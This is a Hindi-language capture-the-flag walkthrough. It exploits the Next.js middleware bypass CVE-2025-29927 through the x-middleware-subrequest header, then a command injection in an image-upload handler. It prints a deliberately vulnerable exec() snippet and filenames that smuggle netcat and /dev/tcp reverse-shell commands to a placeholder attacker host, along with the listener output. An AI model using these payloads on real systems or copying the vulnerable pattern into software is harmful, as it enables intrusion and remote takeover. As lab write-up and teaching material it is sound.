
कैप्चर द फ्लैग चुनौती: CVE-2025-29927 एक कमांड इंजेक्शन भेद्यता के साथ संयोजन में
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard पेज /login पर रीडायरेक्ट करता है। क्या आप लॉगिन पेज पर ऐसी कोई जानकारी पा सकते हैं जो आपको रीडायरेक्ट को बायपास करने की अनुमति देगी?
— — —
x-middleware-subrequest हेडर का शोषण करके मिडलवेयर सुरक्षा को पूरी तरह से बायपास करने की अनुमति देता है। Next.js इस हेडर का उपयोग आंतरिक रूप से अनंत मिडलवेयर लूप्स को रोकने के लिए करता है। जब कोई अनुरोध संसाधित किया जाता है, तो runMiddleware फ़ंक्शन अनुरोध हेडर की जाँच करता है:
x-middleware-subrequest मौजूद है
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
इस हेडर का उपयोग करके, हम मिडलवेयर को बताते हैं: "यह पहले से ही मिडलवेयर द्वारा उत्पन्न अनुरोध है—मिडलवेयर को फिर से निष्पादित न करें।"
x-middleware-subrequest हेडर को हटा देता है। हेडर पर केवल तभी भरोसा किया जाता है जब यह वैध मिडलवेयर चेनिंग के दौरान Next.js रनटाइम के अंदर बनाया जाता है।
ठोस रूप से, x-middleware-subrequest मान को अब एक यादृच्छिक रूप से उत्पन्न हेक्साडेसिमल स्ट्रिंग के विरुद्ध मान्य किया जाता है, यह सुनिश्चित करते हुए कि केवल वैध आंतरिक सत्र अनुरोध प्राधिकरण जाँच पास करते हैं। इसलिए भले ही कोई हमलावर हेडर भेजे, Next.js अब एक वास्तविक आंतरिक सबरिक्वेस्ट (जो सही यादृच्छिक रूप से उत्पन्न टोकन रखती है) और बाहरी हमलावर से आने वाले नकली के बीच अंतर बता सकता है।
— — —
const filename = file.name; // VULNERABLE: No sanitization!
const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
const filepath = join(uploadsDir, sanitizedFilename);
await writeFile(filepath, buffer);
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => {
exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => {
...
मूल फ़ाइल नाम उपयोगकर्ता-नियंत्रित है और इसमें दुर्भावनापूर्ण वर्ण हो सकते हैं। डेवलपर कुछ खतरनाक वर्णों को हटाता है (व्हाइटलिस्ट के बजाय ब्लैकलिस्ट)। convert कमांड को exec() का उपयोग करके निष्पादित किया जाता है, और मूल फ़ाइल नाम (उपयोगकर्ता इनपुट) सीधे शेल कमांड में डाला जाता है। एक समाधान उपयोगकर्ता फ़ाइल नामों के बजाय यादृच्छिक रूप से उत्पन्न फ़ाइल नामों का उपयोग करना और शेल से बचने वाला एक सुरक्षित API उपयोग करना हो सकता है।
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
दुर्भावनापूर्ण फ़ाइल नाम:
image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
फ़्लैग /home/webuser में स्थित है:
FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}